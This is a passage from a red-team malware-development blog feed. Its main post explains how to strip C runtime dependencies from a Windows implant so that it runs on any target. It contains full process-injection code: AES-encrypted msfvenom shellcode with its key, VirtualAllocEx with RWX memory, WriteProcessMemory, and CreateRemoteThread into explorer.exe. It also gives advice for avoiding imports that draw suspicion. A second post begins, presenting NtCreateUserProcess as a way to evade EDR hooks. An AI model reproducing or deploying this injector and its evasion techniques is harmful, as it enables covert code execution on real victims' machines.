	<span class="n">baseAddress</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Memory allocated: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">);</span>

	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Memory written: %zu bytes</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hThread</span> <span class="o">=</span> <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">baseAddress</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Thread created: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hThread</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Payload executed!"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>When run on the dev machine, the compiled code works as expected.</p>

<p><a href="/static/img/2022-10-17-independent-malware/code-runs-dev-machine.png"><img src="/static/img/2022-10-17-independent-malware/code-runs-dev-machine.png" alt="Code Runs in Dev Machine" /></a></p>

<p>But when the same binary gets executed on a different machine, it throws the following error.</p>

<p><a href="/static/img/2022-10-17-independent-malware/code-dont-run-lab-machine.png"><img src="/static/img/2022-10-17-independent-malware/code-dont-run-lab-machine.png" alt="Code Doest not Work in a Different Machine" /></a></p>

<h2 id="runtime-libraries">Runtime Libraries</h2>

<p>What the heck is <code class="language-plaintext highlighter-rouge">VCRUNTIME140.dll</code>? This DLL is a runtime library used by Microsoft Visual Studio which consists of functions/codes a program needs in order to work during run time.</p>

<p>Per Microsoft’s <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/crt-library-features?view=msvc-170&amp;viewFallbackFrom=vs-2019">documentation</a>:</p>
<blockquote>
  <p>The vcruntime library contains Visual C++ CRT implementation-specific code, such as exception handling and debugging support, runtime checks and type information, implementation details and certain extended library functions.</p>
</blockquote>

<p>Looking at the binary’s IAT (Import Address Table), several functions are imported from <code class="language-plaintext highlighter-rouge">VCRUNTIME140.dll</code> and <code class="language-plaintext highlighter-rouge">api-ms-win-crt-*.dll</code> DLLs.</p>

<p><a href="/static/img/2022-10-17-independent-malware/iat-vcruntime140.png"><img src="/static/img/2022-10-17-independent-malware/iat-vcruntime140.png" alt="Functions Imported from VCRUNTIME140.dll" /></a></p>

<p>When the binary is executed, the OS loads the required libraries (hence called “<strong>runtime</strong> library”) in the process’ address space and then resolves the relevant functions used by the program.</p>

<h2 id="why-do-we-care">Why Do We Care?</h2>

<p>During an engagement, we have no idea whether the libraries required by your implant/malware are installed on the target system. Well, if you already have access to the target machine then you can do an enumeration first. However, it is a good idea to assume the target system does not have the required libraries. Doing so will allow us to develop a program that works in any system.</p>

<h2 id="the-solutions">The Solutions</h2>

<p>How do we get around it and remove the dependencies? Here are some of the solutions I discovered as I encounter the same obstacle.</p>

<h3 id="install-whats-missing">Install What’s Missing</h3>

<p>One of the easiest solutions is to install <a href="https://learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?view=msvc-170"><strong>Microsoft Visual C++ Redistributable</strong></a>. However, it is not recommended as making changes to a target system, especially installing software, is bad practice.</p>

<p>When Googling this issue, the solution provided by some web pages instructs the reader to download the missing DLL hosted on their server. This is a big NO as the legitimacy of the hosted file is unknown, and this could put the target/client’s system in a riskier scenario.</p>

<p><a href="/static/img/2022-10-17-independent-malware/dll-download.png"><img src="/static/img/2022-10-17-independent-malware/dll-download.png" alt="VCRUNTIME140.dll Available for Download" /></a></p>

<h3 id="statically-link-em">Statically Link ‘Em</h3>

<p>Getting rid of runtime libraries can be done by static linking them during compile time. With this approach, worrying about the missing libraries on the target system goes away as they are already “bundled” in the binary. Hence, the chance the program will work on any system is highly probable.</p>

<p>Static linking of the required libraries is easy. In <strong>Visual Studio</strong>, go to the project properties and set the value of the <code class="language-plaintext highlighter-rouge">Runtime Library</code> property to <code class="language-plaintext highlighter-rouge">Multi-threaded (/MT)</code>.</p>

<p><a href="/static/img/2022-10-17-independent-malware/static-linking.png"><img src="/static/img/2022-10-17-independent-malware/static-linking.png" alt="Static Linking" /></a></p>

<p>Since libraries are “bundled” into the executable, the following drawbacks can be observed:</p>
<ul>
  <li><strong>Bloated binary:</strong> Here’s a comparison showing a difference of more than 100KB in file size when using static linking.</li>
</ul>

<p><a href="/static/img/2022-10-17-independent-malware/static-size-diff.png"><img src="/static/img/2022-10-17-independent-malware/static-size-diff.png" alt="Static vs Dynamic Linking File Size Comparison" /></a></p>

<ul>
  <li><strong>More IAT entries:</strong> Static linking results in more imports (78 in this case) compared to dynamic linking (49 in total).</li>
</ul>

<p><a href="/static/img/2022-10-17-independent-malware/static-iat-diff.png"><img src="/static/img/2022-10-17-independent-malware/static-iat-diff.png" alt="Static vs Dynamic Linking IAT Comparison" /></a></p>

<h3 id="manually-remove-em">Manually Remove ‘Em</h3>

<p>To eliminate any dependencies, tell the linker to exclude all default libraries from the list of libraries it searches. This is done by setting the <code class="language-plaintext highlighter-rouge">/NODEFAULTLIB</code> linker option.</p>

<p><a href="/static/img/2022-10-17-independent-malware/nodefaultlib.png"><img src="/static/img/2022-10-17-independent-malware/nodefaultlib.png" alt="/NODEFAULTLIB Linker Option" /></a></p>

<p>However, compilation with the <code class="language-plaintext highlighter-rouge">/NODEFAULTLIB</code> linker option set causes the following error.</p>

<p><a href="/static/img/2022-10-17-independent-malware/nodefaultlib-build-error.png"><img src="/static/img/2022-10-17-independent-malware/nodefaultlib-build-error.png" alt="/NODEFAULTLIB Compile Error" /></a></p>

<p>What happened? Let’s first discuss the highlighted item.</p>

<p>To start the analysis, set a breakpoint in <code class="language-plaintext highlighter-rouge">main()</code>, debug the code, and look at the call stack. Here, it shows <code class="language-plaintext highlighter-rouge">main()</code> is not the entry point of the program. In fact, the execution begins by invoking the <code class="language-plaintext highlighter-rouge">mainCRTStartup()</code> function, which is the entry point of the C runtime library and is responsible for the initialization of the memory manager, file I/O, etc. Then the <code class="language-plaintext highlighter-rouge">main()</code> function will eventually be called.</p>

<p><a href="/static/img/2022-10-17-independent-malware/call-stack.png"><img src="/static/img/2022-10-17-independent-malware/call-stack.png" alt="Call Stack" /></a></p>

<h4 id="changing-the-programs-entry-point">Changing the Program’s Entry Point</h4>

<p>If <code class="language-plaintext highlighter-rouge">main()</code> is not the actual entry point, then just “force” the compiler to use <code class="language-plaintext highlighter-rouge">main()</code> as the entry point. To do this, add the directive <code class="language-plaintext highlighter-rouge">#pragma comment(linker, "/ENTRY:main")</code> in the above code or set the <code class="language-plaintext highlighter-rouge">Entry Point</code> property to <code class="language-plaintext highlighter-rouge">main</code>.</p>

<blockquote>
  <p><em>Other function names (e.g., <code class="language-plaintext highlighter-rouge">entry()</code>) can be used as the entry point and having a <code class="language-plaintext highlighter-rouge">main()</code> function in the code is optional.</em></p>
</blockquote>

<p><a href="/static/img/2022-10-17-independent-malware/main-entry-point.png"><img src="/static/img/2022-10-17-independent-malware/main-entry-point.png" alt="Main Entry Point" /></a></p>

<p>The other method does not involve changing the entry point, but having our version of the <code class="language-plaintext highlighter-rouge">mainCRTStartup()</code> function. Since <code class="language-plaintext highlighter-rouge">mainCRTStartup()</code> is the real entry point, then simply put the code inside it. Using this approach, the updated code would look like this.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"include/aes.hpp"</span><span class="cp">
</span>
<span class="kt">void</span> <span class="kr">__stdcall</span> <span class="nf">mainCRTStartup</span><span class="p">()</span>
<span class="p">{</span>
	<span class="p">[</span><span class="n">THE_BODY_CONTAINS_THE_SAME_CODE_AS_ABOVE</span><span class="p">]</span>
<span class="p">}</span>
</code></pre></div></div>

<blockquote>
  <p><em><code class="language-plaintext highlighter-rouge">int main()</code> was simply change to <code class="language-plaintext highlighter-rouge">void __stdcall mainCRTStartup()</code>. Note that the rest of this post uses this method.</em></p>
</blockquote>

<p>Using either method, compiling the updated code returns fewer errors. Specifically, the error message <code class="language-plaintext highlighter-rouge">LNK2001 unresolved external symbol mainCRTStartup</code> is gone.</p>

<p><a href="/static/img/2022-10-17-independent-malware/maincrtstartup-fixed.png"><img src="/static/img/2022-10-17-independent-malware/maincrtstartup-fixed.png" alt="mainCRTStartup Error Gone" /></a></p>

<h4 id="disabling-security-check">Disabling Security Check</h4>

<p>To address the error <code class="language-plaintext highlighter-rouge">LNK2001 unresolved external symbol __security_check_cookie</code>, simply tell the compiler to stop checking for buffer overruns. To do this, set the <code class="language-plaintext highlighter-rouge">Security Check</code> property to <code class="language-plaintext highlighter-rouge">Disable Security Check (/GS-)</code>.</p>

<p><a href="/static/img/2022-10-17-independent-malware/disable-security-check.png"><img src="/static/img/2022-10-17-independent-malware/disable-security-check.png" alt="Disable Security Check" /></a></p>

<blockquote>
  <p><em>I won’t go into the details about the <code class="language-plaintext highlighter-rouge">/GS</code> compiler option, but here’s a <a href="https://learn.microsoft.com/en-us/cpp/build/reference/gs-buffer-security-check?view=msvc-170">reference</a> you can read.</em></p>
</blockquote>

<p>After compiling the updated program, only two errors were left.</p>

<p><a href="/static/img/2022-10-17-independent-malware/two-errors-left.png"><img src="/static/img/2022-10-17-independent-malware/two-errors-left.png" alt="Two Errors Left" /></a></p>

<h4 id="removing-stdioh">Removing <code class="language-plaintext highlighter-rouge">&lt;stdio.h&gt;</code></h4>

<p>The remaining errors are related to the included library <code class="language-plaintext highlighter-rouge">stdio.h</code>, which contains functions for file I/O operations. The base code includes this library to be able to use the <code class="language-plaintext highlighter-rouge">printf()</code> function. If this library is removed and all lines containing the <code class="language-plaintext highlighter-rouge">printf()</code> function are commented out, then the remaining errors are gone.</p>

<p>[![Removing <stdio.h>](/static/img/2022-10-17-independent-malware/stdio-gone.png)](/static/img/2022-10-17-independent-malware/stdio-gone.png)</stdio.h></p>

<p>When the updated code gets compiled and the binary is executed on another system, it works and the initial error related to <code class="language-plaintext highlighter-rouge">VCRUNTIME140.dll</code> didn’t pop out.</p>

<p><a href="/static/img/2022-10-17-independent-malware/crt-removed.png"><img src="/static/img/2022-10-17-independent-malware/crt-removed.png" alt="Binary Works w/o CRT Dependencies" /></a></p>

<p>Looking again at the binary’s IAT, the number of imports is reduced to 4 and only contains the actual WinAPI used within the code.</p>

<p><a href="/static/img/2022-10-17-independent-malware/new-iat.png"><img src="/static/img/2022-10-17-independent-malware/new-iat.png" alt="IAT Entries Reduced" /></a></p>

<p>The file size is also reduced to only 7KB, which is smaller than the original size of 15KB.</p>

<p><a href="/static/img/2022-10-17-independent-malware/size-reduced.png"><img src="/static/img/2022-10-17-independent-malware/size-reduced.png" alt="File Size Reduced" /></a></p>

<h3 id="build-your-own">Build Your Own</h3>

<h4 id="custom-printf">Custom <code class="language-plaintext highlighter-rouge">printf()</code></h4>

<p>But what if <code class="language-plaintext highlighter-rouge">printf()</code> is necessary for our program? One approach is to have a custom <code class="language-plaintext highlighter-rouge">printf()</code> function. Here’s an example which utilizes Windows API.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">my_printf</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">pszFormat</span><span class="p">,</span> <span class="p">...)</span> <span class="p">{</span>
	<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
	<span class="kt">va_list</span> <span class="n">argList</span><span class="p">;</span>
	<span class="n">va_start</span><span class="p">(</span><span class="n">argList</span><span class="p">,</span> <span class="n">pszFormat</span><span class="p">);</span>
	<span class="n">wvsprintfA</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">pszFormat</span><span class="p">,</span> <span class="n">argList</span><span class="p">);</span>
	<span class="n">va_end</span><span class="p">(</span><span class="n">argList</span><span class="p">);</span>
	<span class="n">DWORD</span> <span class="n">done</span><span class="p">;</span>
	<span class="n">WriteFile</span><span class="p">(</span><span class="n">GetStdHandle</span><span class="p">(</span><span class="n">STD_OUTPUT_HANDLE</span><span class="p">),</span> <span class="n">buf</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">done</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<blockquote>
  <p><em>This code was taken from <a href="https://yal.cc/printf-without-standard-library/">here</a>, so credits to the author.</em></p>
</blockquote>

<p><a href="/static/img/2022-10-17-independent-malware/custom-printf.png"><img src="/static/img/2022-10-17-independent-malware/custom-printf.png" alt="Custom printf()" /></a></p>

<p>When using the above <code class="language-plaintext highlighter-rouge">my_printf()</code> code, one must take into account the additional DLL (<code class="language-plaintext highlighter-rouge">user32.dll</code> due to the use of <code class="language-plaintext highlighter-rouge">wvsprintfA()</code>) the binary relies on. Since the program is a console application (no GUI/window), the use of functions from <code class="language-plaintext highlighter-rouge">user32.dll</code> could be a red flag.</p>

<p><a href="/static/img/2022-10-17-independent-malware/user32-dll.png"><img src="/static/img/2022-10-17-independent-malware/user32-dll.png" alt="user32.dll" /></a></p>

<p>How to write a print function without depending on <code class="language-plaintext highlighter-rouge">user32.dll</code> then? Luckily, <code class="language-plaintext highlighter-rouge">kernelbase.dll</code> has <code class="language-plaintext highlighter-rouge">wprintf()</code> as one of its exported functions.</p>

<p><a href="/static/img/2022-10-17-independent-malware/kernelbase-wprintf.png"><img src="/static/img/2022-10-17-independent-malware/kernelbase-wprintf.png" alt="kernelbase.dll" /></a></p>

<p>However, directly using it will result in a compilation error. A workaround is to resolve <code class="language-plaintext highlighter-rouge">wprintf()</code> dynamically. Here’s the updated code showcasing how to do it.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"include/aes.hpp"</span><span class="cp">
</span>
<span class="k">typedef</span> <span class="nf">int</span> <span class="p">(</span><span class="o">*</span><span class="n">my_wprintf</span><span class="p">)(</span>
	<span class="k">const</span> <span class="kt">wchar_t</span><span class="o">*</span> <span class="n">format</span><span class="p">,</span>
	<span class="p">...</span>
<span class="p">);</span>

<span class="kt">void</span> <span class="kr">__stdcall</span> <span class="nf">mainCRTStartup</span><span class="p">()</span>
<span class="p">{</span>
	<span class="c1">// Resolve wprintf()</span>
	<span class="n">HMODULE</span> <span class="n">hKernelBase</span> <span class="o">=</span> <span class="n">GetModuleHandleW</span><span class="p">(</span><span class="s">L"kernelbase.dll"</span><span class="p">);</span>
	<span class="n">my_wprintf</span> <span class="n">wprintf</span> <span class="o">=</span> <span class="p">(</span><span class="n">my_wprintf</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">hKernelBase</span><span class="p">,</span> <span class="s">"wprintf"</span><span class="p">);</span>

	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c </span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"Captain.MeeloIsTheSuperSecretKey"</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">iv</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98</span><span class="s">"</span><span class="p">;</span>

	<span class="k">struct</span> <span class="nc">AES_ctx</span> <span class="n">ctx</span><span class="p">;</span>
	<span class="n">AES_init_ctx_iv</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
	<span class="n">AES_CBC_decrypt_buffer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">);</span>

	<span class="c1">// PID of explorer.exe</span>
	<span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="mi">6028</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
	<span class="n">wprintf</span><span class="p">(</span><span class="s">L"[+] Handle obtained: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">);</span>

	<span class="n">PVOID</span> <span class="n">baseAddress</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">baseAddress</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
	<span class="n">wprintf</span><span class="p">(</span><span class="s">L"[+] Memory allocated: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">);</span>

	<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">wprintf</span><span class="p">(</span><span class="s">L"[+] Memory written: %zu bytes</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hThread</span> <span class="o">=</span> <span class="n">CreateRemoteThread</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="n">baseAddress</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="n">wprintf</span><span class="p">(</span><span class="s">L"[+] Thread created: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">hThread</span><span class="p">);</span>
	<span class="n">wprintf</span><span class="p">(</span><span class="s">L"[+] Payload executed!"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now, the dependency with <code class="language-plaintext highlighter-rouge">user32.dll</code> has been removed.</p>

<p><a href="/static/img/2022-10-17-independent-malware/no-user32-dll.png"><img src="/static/img/2022-10-17-independent-malware/no-user32-dll.png" alt="No user32.dll" /></a></p>

<h4 id="custom-crt">Custom CRT</h4>

<p>What about the other standard functions such as <code class="language-plaintext highlighter-rouge">memcpy()</code>, <code class="language-plaintext highlighter-rouge">memset()</code>, <code class="language-plaintext highlighter-rouge">strcmp()</code>, <code class="language-plaintext highlighter-rouge">rand()</code>, etc.? One way is to write custom implementations of these functions. Several devs have done this so the codes are just one Google search away. Here’s an example for <a href="https://github.com/gcc-mirror/gcc/blob/master/libgcc/memcpy.c"><code class="language-plaintext highlighter-rouge">memcpy()</code></a> and <a href="https://github.com/gcc-mirror/gcc/blob/master/libgcc/memset.c"><code class="language-plaintext highlighter-rouge">memset()</code></a>.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="o">*</span><span class="nf">memcpy</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">dest</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">src</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">d</span> <span class="o">=</span> <span class="n">dest</span><span class="p">;</span>
  <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">s</span> <span class="o">=</span> <span class="n">src</span><span class="p">;</span>
  <span class="k">while</span> <span class="p">(</span><span class="n">len</span><span class="o">--</span><span class="p">)</span>
    <span class="o">*</span><span class="n">d</span><span class="o">++</span> <span class="o">=</span> <span class="o">*</span><span class="n">s</span><span class="o">++</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">dest</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="o">*</span><span class="n">memset</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">dest</span><span class="p">,</span> <span class="kt">int</span> <span class="n">val</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="n">dest</span><span class="p">;</span>
  <span class="k">while</span> <span class="p">(</span><span class="n">len</span><span class="o">--</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span>
    <span class="o">*</span><span class="n">ptr</span><span class="o">++</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">dest</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Here are some repos that could be useful. These contain code snippets that can be used as an alternative to the C runtime library.</p>

<ul>
  <li><a href="https://github.com/malxau/minicrt">malxau/minicrt</a></li>
  <li><a href="https://github.com/liupengs/Mini-CRT">liupengs/Mini-CRT</a></li>
  <li><a href="https://github.com/dreckard/minicrt">dreckard/minicrt</a></li>
  <li><a href="https://github.com/leepa/libctiny">leepa/libctiny</a></li>
</ul>

<h4 id="go-with-winapi">Go With WinAPI</h4>

<p>The other method is to simply use the WinAPI counterpart of the function. For example, instead of using <code class="language-plaintext highlighter-rouge">malloc()</code> and <code class="language-plaintext highlighter-rouge">wcscmp()</code>, WinAPI has <code class="language-plaintext highlighter-rouge">VirtualAlloc()</code> and <code class="language-plaintext highlighter-rouge">StrCmpW()</code>.</p>

<p><a href="/static/img/2022-10-17-independent-malware/runtime-to-winapi.png"><img src="/static/img/2022-10-17-independent-malware/runtime-to-winapi.png" alt="Example" /></a></p>

<blockquote>
  <p><em>This image was taken from this <a href="https://stackoverflow.com/a/44055778">discussion</a>, so credits to the owner/poster.</em></p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>Your code most likely varies from the code presented here, so don’t expect everything discussed in this post will work in your project. However, with this rough guide, I hope it will alleviate some of the headaches you’re going to have should you decide to remove any CRT dependencies in your program.</p>

<blockquote>
  <p><em>I’m not a pro at programming and I only shared what I learned. If you identify any mistakes, please let me know so we can correct them.</em></p>
</blockquote>]]></content><author><name>Capt. Meelo</name></author><category term="redteam" /><category term="maldev" /><summary type="html"><![CDATA[A quick guide and high-level discussion on how to remove runtime dependencies when writing malware.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2022-10-17-independent-malware/code-dont-run-lab-machine.png" /><media:content medium="image" url="https://captmeelo.com/static/img/2022-10-17-independent-malware/code-dont-run-lab-machine.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Making NtCreateUserProcess Work</title><link href="https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html" rel="alternate" type="text/html" title="Making NtCreateUserProcess Work" /><published>2022-05-10T00:00:00+00:00</published><updated>2022-05-10T00:00:00+00:00</updated><id>https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess</id><content type="html" xml:base="https://captmeelo.com/redteam/maldev/2022/05/10/ntcreateuserprocess.html"><![CDATA[<p>Last March, I <a href="https://twitter.com/CaptMeelo/status/1507318062139461636">tweeted</a> something about converting WinAPI functions to their native counterparts. One of the WinAPIs I’m trying to convert is <code class="language-plaintext highlighter-rouge">CreateProcess</code>. Finally, after several months of on and off research, trials, and coding, I have successfully developed a PoC to launch a process using the native API <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code>!</p>

<p><a href="/static/img/2022-05-10-ntcreateuserprocess/tweet.png"><img src="/static/img/2022-05-10-ntcreateuserprocess/tweet.png" alt="Tweet" /></a></p>

<p>In this post, I’ll share some of my notes and the journey that I took in the development of a “minimal” code, which is enough for my need of creating a process using native APIs.</p>

<blockquote>
  <p><em>I’m not an expert in Windows Internals so if you found some issues/mistakes, please let me know and I would be happy to make the necessary corrections.</em></p>
</blockquote>

<h3 id="from-createprocess-to-ntcreateuserprocess">From <code class="language-plaintext highlighter-rouge">CreateProcess()</code> to <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code></h3>

<p>One of the documented Windows APIs for creating processes is <code class="language-plaintext highlighter-rouge">CreateProcess()</code>. Using this API, the created process runs in the context (meaning the same access token) of the calling process. Execution then continues with a call to <code class="language-plaintext highlighter-rouge">CreateProcessInternal()</code>, which is responsible for actually creating the user-mode process. <code class="language-plaintext highlighter-rouge">CreateProcessInternal()</code> then calls the undocumented and native API <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code> (located in <code class="language-plaintext highlighter-rouge">ntdll.dll</code>) to shift to kernel-mode.</p>

<p><a href="/static/img/2022-05-10-ntcreateuserprocess/process-flow.png"><img src="/static/img/2022-05-10-ntcreateuserprocess/process-flow.png" alt="Process Creation Flow" /></a></p>

<h3 id="but-why-use-ntcreateuserprocess">But Why Use <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code>?</h3>

<p><code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code> is the lowest and the last function accessible in user-mode that we could call to evade the detection controls (such as User-land Hooking) set by an AV/EDR.</p>

<p>When I searched the web for a sample implementation of <code class="language-plaintext highlighter-rouge">NtCreateUserProcess()</code>, I came across the following repos:</p>
<ul>
  <li><a href="https://github.com/Microwave89/createuserprocess">Microwave89/createuserprocess</a></li>
  <li><a href="https://github.com/peta909/NtCreateUserProcess_">peta909/NtCreateUserProcess_</a></li>
  <li><a href="https://github.com/PorLaCola25/PPID-Spoofing">PorLaCola25/PPID-Spoofing</a></li>
</ul>

